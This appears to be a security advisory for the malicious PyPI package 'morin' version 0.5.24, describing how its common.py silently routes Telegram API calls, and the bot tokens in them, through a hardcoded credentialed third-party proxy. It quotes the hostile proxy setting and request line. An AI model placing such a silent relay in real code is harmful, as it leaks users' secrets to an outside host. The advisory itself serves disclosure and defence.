pypi · Malicious package advisory
Malwaremorin
GHSA-ch5m-jvgj-q663
Malicious code in morin (PyPI)
Details
**Severity:** Critical
**Affected versions:** `= 0.5.24`
## Source: amazon-inspector (37c27d25a4c203cbb89156281fbacc7feb424a09eaa296f7c3dedff860891f1f)
morin/common.py hardcodes an HTTP proxy at 191.102.147.15:8000 with embedded credentials (`proxies = {'https': 'http://5TUMV6:[email protected]:8000'}`) and unconditionally routes all Telegram API calls through it via `requests.get(url, params=params, proxies=proxies, timeout=15)` where `url=https://api.telegram.org/bot{bot_token}/sendMessage`. Every Clickhouse/connector class in the package funnels through `Common.log_func` / `Common.send_logs`, so any caller using the package's notification feature ends up tunneling their Telegram bot_token (carried in the URL path) and log message content through this third-party host. The proxy is not the publisher's documented infrastructure, is not mentioned in the package documentation, and the operator of 191.102.147.15:8000 can observe and tamper with the CONNECT-tunneled traffic — including capturing the bearer bot tokens. This is the silent-relay shape: a public API quietly redirects caller-supplied secrets through an attacker-or-third-party-controlled destination.
---
Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/morin/MAL-2026-4757.json))
**References:**
- https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/morin/MAL-2026-4757.json
- https://pypi.org/project/morin/0.5.23
- https://pypi.org/project/morin/0.5.24
- https://pypi.org/project/morin/0.5.26
- https://github.com/advisories/GHSA-ch5m-jvgj-q663Compromised versions (1)
- = 0.5.24
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.